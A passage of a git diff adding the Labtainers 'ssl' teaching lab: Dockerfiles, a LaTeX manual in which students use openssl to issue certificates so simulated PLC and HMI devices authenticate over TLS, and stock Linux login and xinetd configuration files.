openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.plc2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.plc2.student new file mode 100644 index 000000000..47cbe95dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/dockerfiles/Dockerfile.ssl.plc2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/Makefile new file mode 100644 index 000000000..a1b032960 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/Makefile @@ -0,0 +1,8 @@ +ssl.pdf: ssl.tex header.tex + latex ssl + pdflatex -jobname=ssl ssl + pdflatex -jobname=ssl ssl + +clean: + rm -fr auto + rm -f ssl.aux ssl.log ssl.pdf ssl.dvi ssl.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/read_first.txt new file mode 100644 index 000000000..b0ccd0baa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/ssl.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.aux new file mode 100644 index 000000000..6a838df4e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.aux @@ -0,0 +1,29 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\@writefile{toc}{\contentsline {section}{\numberline {1}Overview}{1}{section.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.1}Background}{1}{subsection.1.1}} +\@writefile{toc}{\contentsline {section}{\numberline {2}Lab Environment}{1}{section.2}} +\@writefile{toc}{\contentsline {section}{\numberline {3}Network Configuration}{1}{section.3}} +\@writefile{lof}{\contentsline {figure}{\numberline {1}{\ignorespaces Network topology for the ssl lab}}{2}{figure.1}} +\newlabel{fig:topology}{{1}{2}{Network topology for the ssl lab}{figure.1}{}} +\@writefile{toc}{\contentsline {section}{\numberline {4}Lab Tasks}{3}{section.4}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.1}Explore}{3}{subsection.4.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.2}Generate certficates and keys}{3}{subsection.4.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.3}Demonstrate communication between all 4 components}{4}{subsection.4.3}} +\@writefile{toc}{\contentsline {section}{\numberline {5}Submission}{4}{section.5}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.jpg new file mode 100644 index 000000000..05a49f45e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.odg new file mode 100755 index 000000000..e56355a39 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.out new file mode 100644 index 000000000..f7bee551a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.out @@ -0,0 +1,9 @@ +\BOOKMARK [1][-]{section.1}{Overview}{}% 1 +\BOOKMARK [2][-]{subsection.1.1}{Background}{section.1}% 2 +\BOOKMARK [1][-]{section.2}{Lab Environment}{}% 3 +\BOOKMARK [1][-]{section.3}{Network Configuration}{}% 4 +\BOOKMARK [1][-]{section.4}{Lab Tasks}{}% 5 +\BOOKMARK [2][-]{subsection.4.1}{Explore}{section.4}% 6 +\BOOKMARK [2][-]{subsection.4.2}{Generate certficates and keys}{section.4}% 7 +\BOOKMARK [2][-]{subsection.4.3}{Demonstrate communication between all 4 components}{section.4}% 8 +\BOOKMARK [1][-]{section.5}{Submission}{}% 9 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.tex new file mode 100644 index 000000000..c3a92d3b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/docs/ssl.tex @@ -0,0 +1,166 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE SSL} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This lab requires that you use SSL certificates to authenticate devices +on a simulated industrial control system network shared by +Programmable Logic Controlers (PLCs) and Human Machine Inteface (HMI) devices. +The concepts covered by this lab are applicable to pairs of clients and servers, +e.g., a web broswer and a web server. + +\subsection {Background} +The student is expected to have separately learned about the basic elements of PKI +certificates, e.g., public/private key pairs, Certification Authorities, +signing requests and certificate chains. If the student is engaded in independent +study, several tutorial videos that cover public key cryptography are at:\\ +\url{https://my.nps.edu/web/c3o/movies} \\ +Tutorials on the use of the {\tt openssl} utility can be found on the web, and details +can be viewed using \\ +``{\tt man openssl}''. + +The student is expected to have at least a basic understanding of the Linux command line, +the basics of the file system, and the ability to use {\tt scp} to copy files from +one computer to another. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer ssl +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\textbf{All user ids in the lab are {\tt admin} and all passwords are {\tt password}}. + +\section{Network Configuration} +This lab includes two sumulated PLCs, two HMI devices, and a certification +authority as shown in Figure~\ref{fig:topology}. +When the lab starts, you will get several virtual terminals, one connected to each +component. + +The host names of each component are per the diagram. The /etc/hosts files +allow use of these host names instead of explicit ip addresses. + +Initially, the {\tt plc1} and the {\tt hmi1} components have PKI certificates +and keys provided by the {\tt ca}. The {\tt hmi1} component includes a +{\tt client\_ssl} program that sends instructions to a PLC using client-authenticated +TLS. The {\tt plc1} component includes a {\tt service\_ssl} service that receives +instructions from hmi components. The SSL connection utilized by the client and server +side of this communication are both authenticated using keys and certificates +generated using the CA component. + +The {\tt plc2} and the {\tt hmi2} components initially lack keys and certificates. They +include {\tt client} and {\tt server} programs that are functionally identical to those on the +{\tt plc1} and {\tt hmi1} components, except that they do not use SSL. + +The ca component is configured for signing certificates within the ``example.com'' domain, +and was used to generated and sign the initial set of certificates. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{ssl.jpg} +\end{center} +\caption{Network topology for the ssl lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +Start the server\_ssl service on the PLC1 component: +\begin{verbatim} + ./server_ssl +\end{verbatim} +\noindent and the server service on PLC2: +\begin{verbatim} + ./server +\end{verbatim} + +\noindent Then start wireshark on each of the two HMI components to allow you to +view the network traffic. +\begin{verbatim} + wireshark & +\end{verbatim} +\noindent Select the {\tt eth0} device. + +Then use the client programs on the HMI components to communicate with the PLCs and observe +the network traffic. On the hm1 component: +\begin{verbatim} + ./client_ssl plc1 This is an instruction +\end{verbatim} + +\noindent and on the hmi2 component: +\begin{verbatim} + ./client plc2 This is an instruction +\end{verbatim} + +What differences do you see in wireshark when you communicate between plc1 and hmi1 as +opposed to communication between plc2 and hmi2? + +Try to send instructions from hmi2 to plc1. What happens, and why? +Try using the {\tt client\_ssl} program on hmi2 to communicate with each PLC. + +Then try to send instructions from hmi1 to plc2. Again, what happens and why? + +\subsection{Generate certficates and keys} +Use the {\tt openssl} utility on the CA component to generate keys and certificates for the {\tt hmi2 and \tt plc2} components. +As an example, the key generation, signing requests and certificate signing operations that were +used for {\tt plc1} are provided below: +\begin{verbatim} +# plc1 key gen +openssl genrsa -out intermediate/private/plc1.example.com.key.pem 2048 +chmod 400 intermediate/private/plc1.example.com.key.pem + +# plc1 cert signing request +openssl req -config intermediate/openssl.cnf \ + -key intermediate/private/plc1.example.com.key.pem \ + -subj '/CN=plc1.example.com/O=Example./C=US/ST=CA' \ + -new -sha256 -out intermediate/csr/plc1.example.com.csr.pem + +# sign plc1 cert +openssl ca -batch -config intermediate/openssl.cnf \ + -extensions server_cert -days 375 -notext -md sha256 \ + -in intermediate/csr/plc1.example.com.csr.pem \ + -out intermediate/certs/plc1.example.com.cert.pem +\end{verbatim} +Before running {\tt openssl} commands, change your directory to the ca directory: +\begin{verbatim} + cd ~/ca +\end{verbatim} +Generate certificates and keys for plc2, and then for hmi2. Note when signing +the hmi2 certificate, you should not include the ``{\tt -extensions server\_cert}'' option +because you are signing a client certificate. + +Use scp \footnote{The user ID is admin, and the password is ``passsword''.} +to transfer files from the CA to the appropriate component. +You will also want to transfer the certificate chain (i.e., the root and intermediate +certificates) from {\tt intermediate/certs/ca-chain.cert.pem} to the {\tt ~/certs} directory +of the two components. (Note you have plc1 and hmi1 as working examples). + +\subsection{Demonstrate communication between all 4 components} +After installing the certificates and keys, start the {\tt server\_ssl} +service on each of the PLC components. +If you have properly installed certificates and keys on hmi2 and plc2, then you should +be able to use the {\tt client\_ssl} program to send instructions to either of the +PLCs from either of the HMI components. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/.config/wireshark/preferences b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/.config/wireshark/preferences new file mode 100644 index 000000000..508e658ae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/.config/wireshark/preferences @@ -0,0 +1 @@ +http.ssl.port: 443,10023 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = 